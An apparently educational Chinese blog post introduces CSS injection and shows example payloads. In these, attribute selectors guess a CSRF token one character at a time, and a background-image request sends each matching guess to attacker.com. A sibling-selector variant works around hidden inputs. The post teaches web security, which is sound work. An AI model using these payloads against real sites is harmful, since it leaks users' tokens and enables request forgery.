有關 CSS Injection
的攻擊方式有很多,所以我們分為 1、2 兩篇來簡單介紹 ~
讓我們開始吧 XD
根據 OWASP 對於 CSS Injection
的簡單介紹如下:
A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site which is rendered inside a victim’s browser. The impact of this type of vulnerability varies based on the supplied CSS payload. It may lead to cross site scripting or data exfiltration.
CSS Injection
(CSS 注入漏洞) 簡單來說,就是涉及在受信任網站的上下文中注入任意 CSS 程式碼
。
使用 CSS selector
和能夠產生 HTTP request
的 function 來提取敏感資料 (例如: CSRF token)
首先,先介紹一下常用的 css selector:
元素中,符合 attribute 叫 value 的元素
tagname[attribute=value]
元素中,其中 "^" 代表前綴,代表找出 attribute 開頭 = value 的元素
tagname[attribute^=value]
元素中,其中 "$" 代表後綴,代表找出 attribute 結尾 = value 的元素
tagname[attribute$=value]
元素中,其中 "*" 代表包含內容,代表找出 attribute 內容包含 value 的元素
tagname[attribute*=value]
接著我們來看看主要的範例~
範例 1:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com?q=a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com?q=b);
}
/* c, d, e, f... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com?q=9);
}
透過不斷地嘗試將文字與 CSS 進行匹配
,並在文字存在的情況下加載一些外部資源
-> 藉此我們可以猜測有哪些資料是存在在目標的頁面中
Notes:
值得注意的是,如果上述的 csrf name type 是隱藏類型 (通常為之),則此技術將不起作用,因為不會載入背景。
那麼如果是如此,我們應該如何繞過呢?
我們可以
不要讓隱藏元素載入背景
,而在載入背景後選取其他元素進行任何操作,以下為範例:
範例 2:
input[name=csrf][value^=csrF] + input {
background-image: url(https://attacker.com?q=csrF);
}
解說:
在上述的範例中,我們選取了 name 為 csrf 且 value 的開頭為 csrf 的 input
元素,
但由於 select 到的 input 是 hidden 隱藏的
,所以在此處我使用了 "+" 語法,來選取該 input
後面的 input
。
如果依照下面的範例,就是會選取到 userID
<input name='csrf' value='csrFfff' type='hidden'>
<input name='userID'>
然而,上述範例 1 的寫法存在先決條件,我們可能會需要確認是否符合以下其中之一的條件:
足夠長的有效 payload
- 因為要獲取的資源很多對易受 CSS injection 攻擊的頁面進行 iframe
對於這樣的攻擊方式,我們可以再加上其他方法,來讓整體的攻擊更有效率。
我會在下一篇文章繼續介紹 ~
這幾天經歷過很多事情,但我的鐵人賽文章還是繼續產出中 XD
不得不說,感覺 css injection 需要參考的文章好多,感覺上又可以分好多篇來寫...
不知道我什麼時候才可以再加入自建漏洞的實作 (汗顏
希望我的未來能夠更加順利,學習資訊安全的道路上也能夠越走越順利 ~ 繼續加油 !
Hackstricks:
https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection
Huli - css injection:
https://blog.huli.tw/2022/09/29/css-injection-1/
https://blog.huli.tw/2022/09/29/css-injection-2/